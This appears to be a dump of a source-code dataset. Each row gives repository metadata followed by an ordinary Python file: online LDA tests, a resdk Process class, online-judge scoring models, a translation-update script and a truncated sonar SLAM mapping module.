hexsha
stringlengths
40
40
size
int64
1
1.03M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
239
max_stars_repo_name
stringlengths
5
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
239
max_issues_repo_name
stringlengths
5
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
239
max_forks_repo_name
stringlengths
5
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
1
1.03M
avg_line_length
float64
1
958k
max_line_length
int64
1
1.03M
alphanum_fraction
float64
0
1
79591e717183a6e5800c17fc5beaac6be84c34bb
7,779
py
Python
creme/decomposition/test_.py
Leo-VK/creme
0b02df4f4c826368747ee91946efca1a7e8653a6
[ "BSD-3-Clause" ]
23
2020-11-21T22:09:24.000Z
2022-03-21T22:33:07.000Z
creme/decomposition/test_.py
53X/creme
3b397d6aafdfad48dbb36813c90ed3fd1844fc30
[ "BSD-3-Clause" ]
null
null
null
creme/decomposition/test_.py
53X/creme
3b397d6aafdfad48dbb36813c90ed3fd1844fc30
[ "BSD-3-Clause" ]
1
2021-04-25T16:24:43.000Z
2021-04-25T16:24:43.000Z
""" The tests performed here confirm that the outputs of the online LDA are exactly the same as those of the original with a batch_size of size 1. Coverage is 100%. References: 1. Jordan Boyd-Graber, Ke Zhai, Online Latent Dirichlet Allocation with Infinite Vocabulary. http://proceedings.mlr.press/v28/zhai13.pdf 2. Creme's Online LDA reproduces exactly the same results of the original one with a size of batch 1: https://github.com/kzhai/PyInfVoc. """ import numpy as np from creme.decomposition import LDA DOC_SET = [ 'weather cold', 'weather hot dry', 'weather cold rainny', 'weather hot', 'weather cold humid', ] REFERENCE_STATISTICS_TWO_COMPONENTS = [ { 0: np.array([0., 0., 0.]), 1: np.array([0., 1., 1.]), }, { 0: np.array([0., 0.6, 0., 0.8, 0.6]), 1: np.array([0., 0.4, 0., 0.2, 0.4])}, { 0: np.array([0., 0., 0., 0., 0., 0.]), 1: np.array([0., 1., 1., 0., 0., 1.])}, { 0: np.array([0., 0.2, 0., 0.6, 0., 0.]), 1: np.array([0., 0.8, 0., 0.4, 0., 0.])}, { 0: np.array([0., 0., 0.2, 0., 0., 0., 0.2]), 1: np.array([0., 1., 0.8, 0., 0., 0., 0.8]), }, ] REFERENCE_STATISTICS_FIVE_COMPONENTS = [ { 0: np.array([0., 0.4, 0.2]), 1: np.array([0., 0.2, 0.6]), 2: np.array([0., 0.4, 0.]), 3: np.array([0., 0., 0.]), 4: np.array([0., 0., 0.2]) }, { 0: np.array([0., 0.8, 0., 0.4, 0.6]), 1: np.array([0., 0., 0., 0.2, 0.4]), 2: np.array([0., 0., 0., 0., 0.]), 3: np.array([0., 0., 0., 0.2, 0.]), 4: np.array([0., 0.2, 0., 0.2, 0.]) }, { 0: np.array([0., 0.4, 0.2, 0., 0., 0.]), 1: np.array([0., 0.2, 0.6, 0., 0., 0.6]), 2: np.array([0., 0.4, 0.2, 0., 0., 0.4]), 3: np.array([0., 0., 0., 0., 0., 0.]), 4: np.array([0., 0., 0., 0., 0., 0.]) }, { 0: np.array([0., 0.2, 0., 0.4, 0., 0.]), 1: np.array([0., 0.2, 0., 0.2, 0., 0.]), 2: np.array([0., 0.4, 0., 0.2, 0., 0.]), 3: np.array([0., 0.2, 0., 0.2, 0., 0.]), 4: np.array([0., 0., 0., 0., 0., 0.]) }, { 0: np.array([0., 0., 0.2, 0., 0., 0., 0.2]), 1: np.array([0., 0., 0., 0., 0., 0., 0.]), 2: np.array([0., 0.8, 0.8, 0., 0., 0., 0.6]), 3: np.array([0., 0.2, 0., 0., 0., 0., 0.2]), 4: np.array([0., 0., 0., 0., 0., 0., 0.]) } ] REFERENCE_FIVE_COMPONENTS = [ np.array([1.5, 0.5, 0.5, 0.5, 1.5]), np.array([1.5, 1.5, 0.5, 0.5, 1.5]), np.array([0.5, 0.5, 3.5, 0.5, 0.5]), np.array([0.5, 0.5, 0.5, 2.5, 0.5]), np.array([2.5, 0.5, 0.5, 1.5, 0.5]), ] REFERENCE_COMPONENTS_WITH_PRUNNING = [ np.array([0.5, 2.5]), np.array([3.5, 0.5]), np.array([0.5, 3.5]), np.array([2.5, 0.5]), np.array([2.5, 1.5]), ] REFERENCE_FIT_ONE_PREDICT_ONE = [ np.array([2.5, 0.5]), np.array([2.5, 1.5]), np.array([1.5, 2.5]), np.array([0.5, 2.5]), np.array([0.5, 3.5]), ] def test_extraction_words_ids(): """ Assert that inputs words are splitted. Assert that indexes are updated and extractable. """ lda = LDA(2, number_of_documents=5, seed=42) word_indexes_list = [] for doc in DOC_SET: words = doc.split(' ') lda._update_indexes(word_list=words) word_indexes_list.append( [lda.word_to_index[word] for word in words] ) assert word_indexes_list == [ [1, 2], [1, 3, 4], [1, 2, 5], [1, 3], [1, 2, 6], ] def test_statistics_two_components(): """ Assert that online lda extracts waited statistics on current document. """ n_components = 2 lda = LDA(n_components, number_of_documents=60, seed=42) statistics_list = [] for doc in DOC_SET: word_list = doc.split(' ') lda._update_indexes(word_list=word_list) word_indexes = [lda.word_to_index[word] for word in word_list] statistics, _ = lda._compute_statistics_components( words_indexes_list=word_indexes, ) statistics_list.append(statistics) lda._update_weights( statistics=statistics ) for index, statistics in enumerate(statistics_list): for component in range(n_components): assert np.array_equal( a1=statistics[component], a2=REFERENCE_STATISTICS_TWO_COMPONENTS[index][component], ) def test_statistics_five_components(): """ Assert that online lda extracts waited statistics on current document. """ n_components = 5 lda = LDA( n_components=n_components, number_of_documents=60, maximum_size_vocabulary=100, alpha_beta=100, alpha_theta=0.5, seed=42 ) statistics_list = [] for doc in DOC_SET: word_list = doc.split(' ') lda._update_indexes(word_list=word_list) word_indexes = [lda.word_to_index[word] for word in word_list] statistics, _ = lda._compute_statistics_components( words_indexes_list=word_indexes, ) statistics_list.append(statistics) lda._update_weights( statistics=statistics ) for index, statistics in enumerate(statistics_list): for component in range(n_components): assert np.array_equal( a1=statistics[component], a2=REFERENCE_STATISTICS_FIVE_COMPONENTS[index][component], ) def test_five_components(): """ Assert that components computed are identical to the original version for n dimensions. """ n_components = 5 lda = LDA( n_components=n_components, number_of_documents=60, maximum_size_vocabulary=100, alpha_beta=100, alpha_theta=0.5, seed=42 ) components_list = [] for document in DOC_SET: tokens = {token: 1 for token in document.split(' ')} components_list.append(lda.fit_transform_one(tokens)) for index, component in enumerate(components_list): assert np.array_equal( a1=list(component.values()), a2=REFERENCE_FIVE_COMPONENTS[index], ) def test_prunning_vocabulary(): """ Vocabulary prunning is available to improve accuracy and limit memory usage. You can perform vocabulary prunning with parameters vocab_prune_interval (int) and maximum_size_vocabulary (int). """ lda = LDA( n_components=2, number_of_documents=60, vocab_prune_interval=2, maximum_size_vocabulary=3, seed=42 ) components_list = [] for document in DOC_SET: tokens = {token: 1 for token in document.split(' ')} components_list.append(lda.fit_transform_one(tokens)) for index, component in enumerate(components_list): assert np.array_equal( a1=list(component.values()), a2=REFERENCE_COMPONENTS_WITH_PRUNNING[index] ) def test_fit_transform(): """ Assert that fit_one and transform_one methods returns waited ouput. """ lda = LDA( n_components=2, number_of_documents=60, vocab_prune_interval=2, maximum_size_vocabulary=3, seed=42 ) components_list = [] for document in DOC_SET: tokens = {token: 1 for token in document.split(' ')} lda = lda.fit_one(x=tokens) components_list.append(lda.transform_one(x=tokens)) for index, component in enumerate(components_list): assert np.array_equal( a1=list(component.values()), a2=REFERENCE_FIT_ONE_PREDICT_ONE[index] )
25.758278
100
0.552899
79591ef9119514d085188518ec5cc4d21a404de7
2,723
py
Python
resdk/resources/process.py
tristanbrown/resolwe-bio-py
c911defde8a5e7e902ad1adf4f9e480f17002c18
[ "Apache-2.0" ]
null
null
null
resdk/resources/process.py
tristanbrown/resolwe-bio-py
c911defde8a5e7e902ad1adf4f9e480f17002c18
[ "Apache-2.0" ]
null
null
null
resdk/resources/process.py
tristanbrown/resolwe-bio-py
c911defde8a5e7e902ad1adf4f9e480f17002c18
[ "Apache-2.0" ]
null
null
null
"""Process resource.""" from __future__ import absolute_import, division, print_function, unicode_literals from .base import BaseResolweResource from .utils import _print_input_line class Process(BaseResolweResource): """Resolwe Process resource. One and only one of the identifiers (slug, id or model_data) should be given. :param resolwe: Resolwe instance :type resolwe: Resolwe object :param model_data: Resource model data """ endpoint = "process" WRITABLE_FIELDS = ('data_name', 'type', 'flow_collection', 'category', 'persistence', 'priority', 'description', 'input_schema', 'output_schema', 'run') + BaseResolweResource.WRITABLE_FIELDS ALL_PERMISSIONS = ['view', 'share', 'owner'] def __init__(self, resolwe, **model_data): """Initialize attributes.""" self.data_name = None """ the default name of data object using this process. When data object is created you can assign a name to it. But if you don't, the name of data object is determined from this field. The field is a expression which can take values of other fields. """ #: the type of process ``"type:sub_type:sub_sub_type:..."`` self.type = None #: Current options: "sample"/None. If sample, new "sample" will be created #: (if not already existing) and annotated with provided descriptor. self.flow_collection = None #: used to group processes in a GUI. Examples: ``upload:``, ``analyses:variants:``, ... self.category = None self.persistence = None """ Measure of how important is to keep the process outputs when optimizing disk usage. Options: RAW/CACHED/TEMP. For processes, used on frontend use TEMP - the results of this processes can be quickly re-calculated any time. For upload processes use RAW - this data should never be deleted, since it cannot be re-calculated. For analysis use CACHED - the results can stil be calculated from imported data but it can take time. """ #: process priority - not used yet self.priority = None #: process description self.description = None #: specifications of inputs self.input_schema = None #: specification of outputs self.output_schema = None #: the heart of process - here the algorithm is defined. self.run = None super(Process, self).__init__(resolwe, **model_data) def print_inputs(self): """Pretty print input_schema.""" _print_input_line(self.input_schema, 0) # pylint: disable=no-member
38.9
95
0.648182
795920af35d3e3a468756e0c86f8a6ef41c73e9a
15,892
py
Python
model/scoring.py
SproutProject/sptoj-server
9590c9f2308e4ad7447e60740372ed6a8f32e7b8
[ "MIT" ]
null
null
null
model/scoring.py
SproutProject/sptoj-server
9590c9f2308e4ad7447e60740372ed6a8f32e7b8
[ "MIT" ]
null
null
null
model/scoring.py
SproutProject/sptoj-server
9590c9f2308e4ad7447e60740372ed6a8f32e7b8
[ "MIT" ]
null
null
null
'''Scoring model module''' import math import asyncio import aiopg.sa import config import sqlalchemy as sa from model.user import UserModel, UserCategory from model.problem import ProblemModel from model.proset import ProSetModel, ProItemModel from model.challenge import ChallengeModel, SubtaskModel from model.challenge import JudgeState, JudgeResult from sqlalchemy import ForeignKey, Column, Integer, Enum, func, distinct from . import BaseModel, model_context, select class TestWeightModel(BaseModel): '''Test weight model.''' __tablename__ = 'test_weight' problem_uid = Column('problem_uid', Integer, ForeignKey(ProblemModel.uid, onupdate='CASCADE', ondelete='CASCADE')) index = Column('index', Integer, index=True) weight = Column('weight', Integer) score = Column('score', Integer) __primarykey__ = [problem_uid, index] class RateCountModel(BaseModel): '''Rate accepted count model.''' __tablename__ = 'rate_count' category = Column('category', Enum(UserCategory)) problem_uid = Column('problem_uid', Integer, ForeignKey(ProblemModel.uid, onupdate='CASCADE', ondelete='CASCADE')) index = Column('index', Integer, index=True) count = Column('count', Integer) score = Column('score', Integer) __primarykey__ = [category, problem_uid, index] class RateScoreModel(BaseModel): '''Rate accepted count model.''' __tablename__ = 'rate_score' category = Column('category', Enum(UserCategory)) user_uid = Column('user_uid', Integer, ForeignKey(UserModel.uid, onupdate='CASCADE', ondelete='CASCADE')) problem_uid = Column('problem_uid', Integer, ForeignKey(ProblemModel.uid, onupdate='CASCADE', ondelete='CASCADE')) index = Column('index', Integer, index=True) score = Column('score', Integer) __primarykey__ = [category, user_uid, problem_uid, index] async def update_rate_count(category, spec_problem_uid=None, problem_updated=False, conn=None): '''Update rate count. Args: category (UserCategory): Category. spec_problem_uid (int) optional: Only update the specific problem ID. ''' base_tbl = (select([ ProblemModel.uid, func.coalesce(func.max(ProItemModel.deadline), 'infinity') .label('deadline') ]) .select_from(ProItemModel.join(ProblemModel).join(ProSetModel)) .where(ProSetModel.metadata['category'].astext.cast(Integer) == int(category))) if spec_problem_uid is not None: base_tbl = base_tbl.where(ProblemModel.uid == spec_problem_uid) base_tbl = base_tbl.group_by(ProblemModel.uid).alias() count_tbl = (select([base_tbl.expr.c.uid, SubtaskModel.index]). select_from(base_tbl .join(ChallengeModel) .join(SubtaskModel) .join(UserModel)) .where(UserModel.category == category) .where(ChallengeModel.state == JudgeState.done) .where(ChallengeModel.timestamp <= base_tbl.expr.c.deadline) .where(SubtaskModel.metadata['result'].astext.cast(Integer) == int(JudgeResult.STATUS_AC)) .distinct(UserModel.uid, base_tbl.expr.c.uid, SubtaskModel.index) .alias()) count_query = (select([ count_tbl.expr.c.uid.label('problem_uid'), count_tbl.expr.c.index, func.count().label('count'), TestWeightModel.score ]) .select_from(count_tbl.join(TestWeightModel, (count_tbl.expr.c.uid == TestWeightModel.problem_uid) & (count_tbl.expr.c.index == TestWeightModel.index))) .group_by(count_tbl.expr.c.uid, count_tbl.expr.c.index, TestWeightModel.score)) async with conn.begin() as transcation: # Update all tests, weights and scores. if problem_updated: await TestWeightModel.delete().execute(conn) query = select([ ProblemModel.uid, ProblemModel.metadata['test'].label('test'), ProblemModel.metadata['score'].label('score') ]) async for problem in await query.execute(conn): for index, test in enumerate(problem.test): weight = test['weight'] test_weight = TestWeightModel(problem_uid=problem.uid, index=index, weight=weight, score=int(problem.score * float(weight) / 100.0)) await test_weight.save(conn) # Remove old data. query = (RateCountModel.delete() .where(RateCountModel.category == category)) if spec_problem_uid is not None: query = query.where(RateCountModel.problem_uid == spec_problem_uid) await query.execute(conn) # Store accepted count. async for result in await count_query.execute(conn): problem_uid = result.problem_uid index = result.index count = result.count score = result.score assert count > 0 score = score * (2**(28.0 / (count + 13.0))) rate_count = RateCountModel(category=category, problem_uid=problem_uid, index=index, count=count, score=score) await rate_count.save(conn) async def update_rate_score(category, spec_problem_uid=None, conn=None): '''Update rate score. Args: category (UserCategory): Category. spec_problem_uid (int) optional: Only update the specific problem ID. ''' base_tbl = (select([ UserModel.uid.label('user_uid'), ProblemModel.uid.label('problem_uid'), SubtaskModel.index, func.max(ProItemModel.deadline).label('deadline'), func.min(ChallengeModel.timestamp).label('timestamp') ]) .select_from(UserModel .join(ChallengeModel) .join(SubtaskModel) .join(ProblemModel) .join(ProItemModel) .join(ProSetModel)) .where(UserModel.category == category) .where(ProSetModel.metadata['category'].astext.cast(Integer) == int(category)) .where(ChallengeModel.state == JudgeState.done) .where(SubtaskModel.metadata['result'].astext.cast(Integer) == int(JudgeResult.STATUS_AC))) if spec_problem_uid is not None: base_tbl = base_tbl.where(ProblemModel.uid == spec_problem_uid) base_tbl = (base_tbl.group_by(UserModel.uid, ProblemModel.uid, SubtaskModel.index) .alias()) score_query = (select([ base_tbl.expr, TestWeightModel.score.label('max_score'), RateCountModel.score ]) .select_from(base_tbl .join(TestWeightModel, (base_tbl.expr.c.problem_uid == TestWeightModel.problem_uid) & (base_tbl.expr.c.index == TestWeightModel.index)) .join(RateCountModel, (base_tbl.expr.c.problem_uid == RateCountModel.problem_uid) & (base_tbl.expr.c.index == RateCountModel.index), isouter=True))) async with conn.begin() as transcation: # Remove old data. query = (RateScoreModel.delete() .where(RateScoreModel.category == category)) if spec_problem_uid is not None: query = query.where(RateScoreModel.problem_uid == spec_problem_uid) await query.execute(conn) async for result in await score_query.execute(conn): user_uid = result.user_uid problem_uid = result.problem_uid index = result.index deadline = result.deadline timestamp = result.timestamp score = result.score if score is None: score = result.max_score * 4 ratio = 1.0 if deadline is not None: delta = (timestamp - deadline).total_seconds() if delta > 0: ratio = 1.0 - min(1.0, (math.ceil(delta / 86400.0) * 0.15)) score = int(score * ratio) if score > 0: rate_score = RateScoreModel(category=category, user_uid=user_uid, problem_uid=problem_uid, index=index, score=score) await rate_score.save(conn) @model_context async def refresh(ctx=None): '''Refresh everything.''' for category in UserCategory: if category == UserCategory.universe: continue await update_rate_count(category, conn=ctx.conn) await update_rate_score(category, conn=ctx.conn) @model_context async def change_category(old_category=None, new_category=None, ctx=None): '''Update when something's category changed. Args: old_category (UserCategory): Old category. new_category (UserCategory): New category. ''' if old_category == new_category: return if old_category == UserCategory.universe: old_category = None if new_category == UserCategory.universe: new_category = None if old_category is not None: await update_rate_count(old_category, conn=ctx.conn) if new_category is not None: await update_rate_count(new_category, conn=ctx.conn) if old_category is not None: await update_rate_score(old_category, conn=ctx.conn) if new_category is not None: await update_rate_score(new_category, conn=ctx.conn) @model_context async def change_problem(problem_uid, problem_updated=False, ctx=None): '''Update the specific problem. Args: problem_uid (int): Problem ID. ''' for category in UserCategory: if category == UserCategory.universe: continue await update_rate_count(category, problem_uid, problem_updated, conn=ctx.conn) await update_rate_score(category, problem_uid, conn=ctx.conn) @model_context async def get_problem_rate(category, problem_uid, ctx=None): '''Get problem rate for the specific category. Args: category (UserCategory): Category. problem_uid (int): Problem ID. Returns: [{ 'index' (int), 'count' (int), 'score' (int) }] | None ''' async with ctx.conn.begin() as transcation: result = (await ProItemModel.select() .where(ProItemModel.problem.uid == problem_uid) .where(ProItemModel.parent.metadata['category'] .astext.cast(Integer) == int(category)) .limit(1) .execute(ctx.conn)).rowcount if result == 0: return None if category == UserCategory.algo: # Algo uses rate scoring. query = (TestWeightModel.select() .where(TestWeightModel.problem_uid == problem_uid) .order_by(TestWeightModel.index)) results = {} async for test in await query.execute(ctx.conn): results[test.index] = { 'index': test.index, 'count': 0, 'score': test.score * 4 } query = (RateCountModel.select() .where(RateCountModel.category == category) .where(RateCountModel.problem_uid == problem_uid)) async for rate_count in await query.execute(ctx.conn): results[rate_count.index]['count'] = rate_count.count results[rate_count.index]['score'] = rate_count.score return sorted(results.values(), key=lambda x: x['index']) else: # Default statistic scoring. query = (TestWeightModel.select() .where(TestWeightModel.problem_uid == problem_uid)) results = {} async for test in await query.execute(ctx.conn): results[test.index] = { 'index': test.index, 'count': 0, 'score': test.score } query = (select([ SubtaskModel.index, func.count(distinct(UserModel.uid)).label('count') ]) .select_from(ProblemModel .join(ChallengeModel) .join(UserModel) .join(SubtaskModel)) .where(ProblemModel.uid == problem_uid) .where(UserModel.category == category) .where(SubtaskModel.metadata['result'].astext.cast(Integer) == int(JudgeResult.STATUS_AC)) .group_by(SubtaskModel.index)) async for stat_count in await query.execute(ctx.conn): results[stat_count.index]['count'] = stat_count.count return sorted(results.values(), key=lambda x: x['index']) @model_context async def get_user_score(user, spec_problem_uid=None, spec_proset_uid=None, ctx=None): '''Get user score. Args: user (UserModel): User. Returns: Int | None ''' if user.category == UserCategory.algo: # Algo uses rate scoring. base_tbl = (select([ProblemModel.uid]) .select_from(ProItemModel .join(ProblemModel) .join(ProSetModel))) if spec_proset_uid is not None: base_tbl = base_tbl.where(ProSetModel.uid == spec_proset_uid) base_tbl = base_tbl.distinct(ProblemModel.uid).alias() query = (select([func.sum(RateScoreModel.score)], int) .select_from(RateScoreModel) .where(RateScoreModel.user_uid == user.uid) .where(RateScoreModel.problem_uid.in_(base_tbl.expr))) if spec_problem_uid is not None: query = query.where(RateScoreModel.problem_uid == spec_problem_uid) score = await (await query.execute(ctx.conn)).scalar() if score is None: score = 0 return score else: # Default statistic scoring. # TODO optimize the queries. base_tbl = (select([ TestWeightModel.problem_uid, TestWeightModel.index, TestWeightModel.score ]) .select_from(ProItemModel .join(ProblemModel) .join(ProSetModel) .join(TestWeightModel, ProblemModel.uid == TestWeightModel.problem_uid)) .where(ProSetModel.metadata['category'].astext.cast(Integer) == int(user.category)) .distinct(TestWeightModel.problem_uid, TestWeightModel.index, TestWeightModel.score)) if spec_proset_uid is not None: base_tbl = base_tbl.where(ProSetModel.uid == spec_proset_uid) base_tbl = base_tbl.alias() score_tbl = (select([base_tbl.expr.c.score], int) .select_from(ChallengeModel .join(UserModel) .join(ProblemModel) .join(SubtaskModel) .join(base_tbl, (ProblemModel.uid == base_tbl.expr.c.problem_uid) & (SubtaskModel.index == base_tbl.expr.c.index))) .where(UserModel.uid == user.uid) .where(SubtaskModel.metadata['result'].astext.cast(Integer) == int(JudgeResult.STATUS_AC))) if spec_problem_uid is not None: score_tbl = score_tbl.where( ProblemModel.problem_uid == spec_problem_uid) score_tbl = score_tbl.distinct(base_tbl.expr.c.problem_uid, base_tbl.expr.c.index, base_tbl.expr.c.score).alias() score = await (await select([func.sum(score_tbl.expr.c.score)], int) .select_from(score_tbl) .execute(ctx.conn)).scalar() if score is None: score = 0 return score
33.386555
79
0.600868
7959233b2729c5b625f6b3b605b5066eec16d212
10,707
py
Python
contrib/devtools/update-translations.py
AgenorCore/Agenor
c022ba2f2d29cea98a6966205f881389707b558b
[ "MIT" ]
46
2021-04-11T20:15:51.000Z
2021-06-02T16:13:11.000Z
contrib/devtools/update-translations.py
criptorob/Agenor
38aa56e3b1cb75911bbb3fe63f4dab8fd243a85a
[ "MIT" ]
5
2021-04-24T13:08:45.000Z
2021-11-24T14:28:55.000Z
contrib/devtools/update-translations.py
criptorob/Agenor
38aa56e3b1cb75911bbb3fe63f4dab8fd243a85a
[ "MIT" ]
9
2021-04-12T12:28:34.000Z
2021-05-14T14:45:19.000Z
#!/usr/bin/env python3 # Copyright (c) 2014 Wladimir J. van der Laan # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. ''' Run this script from the root of the repository to update all translations from transifex. It will do the following automatically: - fetch all translations using the tx tool - post-process them into valid and committable format - remove invalid control characters - remove location tags (makes diffs less noisy) - update git for added translations - update build system ''' import argparse import subprocess import re import sys import os import io import xml.etree.ElementTree as ET # Name of transifex tool TX = 'tx' # Name of source language file SOURCE_LANG = 'agenor_en.ts' # Directory with locale files LOCALE_DIR = 'src/qt/locale' # Minimum number of messages for translation to be considered at all MIN_NUM_MESSAGES = 10 # Minimum completion percentage required to download from transifex MINIMUM_PERC = 80 # Path to git GIT = os.getenv("GIT", "git") def check_at_repository_root(): if not os.path.exists('.git'): print('No .git directory found') print('Execute this script at the root of the repository', file=sys.stderr) sys.exit(1) def remove_current_translations(): ''' Remove current translations, as well as temporary files that might be left behind We only want the active translations that are currently on transifex. This leaves agenor_en.ts untouched. ''' for (_,name) in all_ts_files(): os.remove(name) for (_,name) in all_ts_files('.orig'): os.remove(name + '.orig') def fetch_all_translations(fAll = False): call_list = [TX, 'pull', '-f', '-a'] if not fAll: call_list.append('--minimum-perc=%s' % MINIMUM_PERC) if subprocess.call(call_list): print('Error while fetching translations', file=sys.stderr) sys.exit(1) def find_format_specifiers(s): '''Find all format specifiers in a string.''' pos = 0 specifiers = [] while True: percent = s.find('%', pos) if percent < 0: break try: specifiers.append(s[percent+1]) except: print('Failed to get specifier') pos = percent+2 return specifiers def split_format_specifiers(specifiers): '''Split format specifiers between numeric (Qt) and others (strprintf)''' numeric = [] other = [] for s in specifiers: if s in {'1','2','3','4','5','6','7','8','9'}: numeric.append(s) else: other.append(s) # If both numeric format specifiers and "others" are used, assume we're dealing # with a Qt-formatted message. In the case of Qt formatting (see https://doc.qt.io/qt-5/qstring.html#arg) # only numeric formats are replaced at all. This means "(percentage: %1%)" is valid, without needing # any kind of escaping that would be necessary for strprintf. Without this, this function # would wrongly detect '%)' as a printf format specifier. if numeric: other = [] # numeric (Qt) can be present in any order, others (strprintf) must be in specified order return set(numeric),other def sanitize_string(s): '''Sanitize string for printing''' return s.replace('\n',' ') def check_format_specifiers(source, translation, errors, numerus): source_f = split_format_specifiers(find_format_specifiers(source)) # assert that no source messages contain both Qt and strprintf format specifiers # if this fails, go change the source as this is hacky and confusing! assert(not(source_f[0] and source_f[1])) try: translation_f = split_format_specifiers(find_format_specifiers(translation)) except IndexError: errors.append("Parse error in translation for '%s': '%s'" % (sanitize_string(source), sanitize_string(translation))) return False else: if source_f != translation_f: if numerus and source_f == (set(), ['n']) and translation_f == (set(), []) and translation.find('%') == -1: # Allow numerus translations to omit %n specifier (usually when it only has one possible value) return True errors.append("Mismatch between '%s' and '%s'" % (sanitize_string(source), sanitize_string(translation))) return False return True def all_ts_files(suffix='', include_source=False): for filename in os.listdir(LOCALE_DIR): # process only language files, and do not process source language if not filename.endswith('.ts'+suffix) or (not include_source and filename == SOURCE_LANG+suffix): continue if suffix: # remove provided suffix filename = filename[0:-len(suffix)] filepath = os.path.join(LOCALE_DIR, filename) yield(filename, filepath) FIX_RE = re.compile(b'[\x00-\x09\x0b\x0c\x0e-\x1f]') def remove_invalid_characters(s): '''Remove invalid characters from translation string''' return FIX_RE.sub(b'', s) # Override cdata escape function to make our output match Qt's (optional, just for cleaner diffs for # comparison, disable by default) _orig_escape_cdata = None def escape_cdata(text): text = _orig_escape_cdata(text) text = text.replace("'", '&apos;') text = text.replace('"', '&quot;') return text def postprocess_translations(reduce_diff_hacks=False): print('Checking and postprocessing...') if reduce_diff_hacks: global _orig_escape_cdata _orig_escape_cdata = ET._escape_cdata ET._escape_cdata = escape_cdata for (filename,filepath) in all_ts_files(): os.rename(filepath, filepath+'.orig') have_errors = False for (filename,filepath) in all_ts_files('.orig'): # pre-fixups to cope with transifex output parser = ET.XMLParser(encoding='utf-8') # need to override encoding because 'utf8' is not understood only 'utf-8' with open(filepath + '.orig', 'rb') as f: data = f.read() # remove control characters; this must be done over the entire file otherwise the XML parser will fail data = remove_invalid_characters(data) tree = ET.parse(io.BytesIO(data), parser=parser) # iterate over all messages in file root = tree.getroot() for context in root.findall('context'): for message in context.findall('message'): numerus = message.get('numerus') == 'yes' source = message.find('source').text translation_node = message.find('translation') # pick all numerusforms if numerus: translations = [i.text for i in translation_node.findall('numerusform')] else: translations = [translation_node.text] for translation in translations: if translation is None: continue errors = [] valid = check_format_specifiers(source, translation, errors, numerus) for error in errors: print('%s: %s' % (filename, error)) if not valid: # set type to unfinished and clear string if invalid translation_node.clear() translation_node.set('type', 'unfinished') have_errors = True # Remove location tags for location in message.findall('location'): message.remove(location) # Remove entire message if it is an unfinished translation if translation_node.get('type') == 'unfinished': context.remove(message) # check if document is (virtually) empty, and remove it if so num_messages = 0 for context in root.findall('context'): for message in context.findall('message'): num_messages += 1 if num_messages < MIN_NUM_MESSAGES: print('Removing %s, as it contains only %i messages' % (filepath, num_messages)) continue # write fixed-up tree # if diff reduction requested, replace some XML to 'sanitize' to qt formatting if reduce_diff_hacks: out = io.BytesIO() tree.write(out, encoding='utf-8') out = out.getvalue() out = out.replace(b' />', b'/>') with open(filepath, 'wb') as f: f.write(out) else: tree.write(filepath, encoding='utf-8') return have_errors def update_git(): ''' Add new files to git repository. (Removing files isn't necessary here, as `git commit -a` will take care of removing files that are gone) ''' file_paths = [filepath for (filename, filepath) in all_ts_files()] subprocess.check_call([GIT, 'add'] + file_paths) def update_build_systems(): ''' Update build system and Qt resource descriptors. ''' filename_lang = [re.match(r'((agenor_(.*)).ts)$', filename).groups() for (filename, filepath) in all_ts_files(include_source=True)] filename_lang.sort(key=lambda x: x[0]) # update qrc locales with open('src/qt/agenor_locale.qrc', 'w') as f: f.write('<!DOCTYPE RCC><RCC version="1.0">\n') f.write(' <qresource prefix="/translations">\n') for (filename, basename, lang) in filename_lang: f.write(f' <file alias="{lang}">locale/{basename}.qm</file>\n') f.write(' </qresource>\n') f.write('</RCC>\n') # update Makefile include with open('src/Makefile.qt_locale.include', 'w') as f: f.write('QT_TS = \\\n') f.write(' \\\n'.join(f' qt/locale/{filename}' for (filename, basename, lang) in filename_lang)) f.write('\n') # make sure last line doesn't end with a backslash if __name__ == '__main__': parser = argparse.ArgumentParser(add_help=False, usage='%(prog)s [update-translations.py options] [flags]', description=__doc__, epilog='', formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('--ignore_completion', '-i', action='store_true', help='fetch all translations, even those not reaching the completion threshold') args, unknown_args = parser.parse_known_args() check_at_repository_root() remove_current_translations() fetch_all_translations(args.ignore_completion) postprocess_translations() update_git() update_build_systems()
39.363971
154
0.63239
7959235857b9410533d8a160b5f763e14c896e61
21,334
py
Python
bruce_slam/src/bruce_slam/mapping.py
jake3991/sonar-SLAM
995bfa61e61d99667bec7a7f70bea4d6d486c312
[ "MIT" ]
null
null
null
bruce_slam/src/bruce_slam/mapping.py
jake3991/sonar-SLAM
995bfa61e61d99667bec7a7f70bea4d6d486c312
[ "MIT" ]
null
null
null
bruce_slam/src/bruce_slam/mapping.py
jake3991/sonar-SLAM
995bfa61e61d99667bec7a7f70bea4d6d486c312
[ "MIT" ]
null
null
null
import numpy as np import cv2 from scipy.special import logit, expit from nav_msgs.msg import OccupancyGrid from .sonar import * from .utils.conversions import * from . import pcl class Submap(object): def __init__(self): # index self.k = 0 # gtsam.Pose2 self.pose = None # x, y coordinates for every pixel in sonar frame (float32) # Use previous if None self.sonar_xy = None # Occupancy grid map (float32) self.logodds = None # Intensity grid map (uint8) self.intensity = None # Cache last update indices (uint16) self.r, self.c = None, None # and logodds (float32) self.l = None # and intensities (uint32) self.i = None ############################################# # For plotting ############################################# self.cimg = None self.limg = None class Mapping(object): def __init__(self): # (x0, y0) ----> x # | transformed to # | <================= Sonar image (bearing, range) # V global plane # y # map size self.x0 = -50.0 self.y0 = -50.0 self.width = 100.0 self.height = 100.0 # Dynamically adjust the boundary by increasing 50.0m self.inc = 50.0 self.resolution = 0.2 self.rows = None self.cols = None self.oculus = OculusProperty() self.oculus_image_size = None 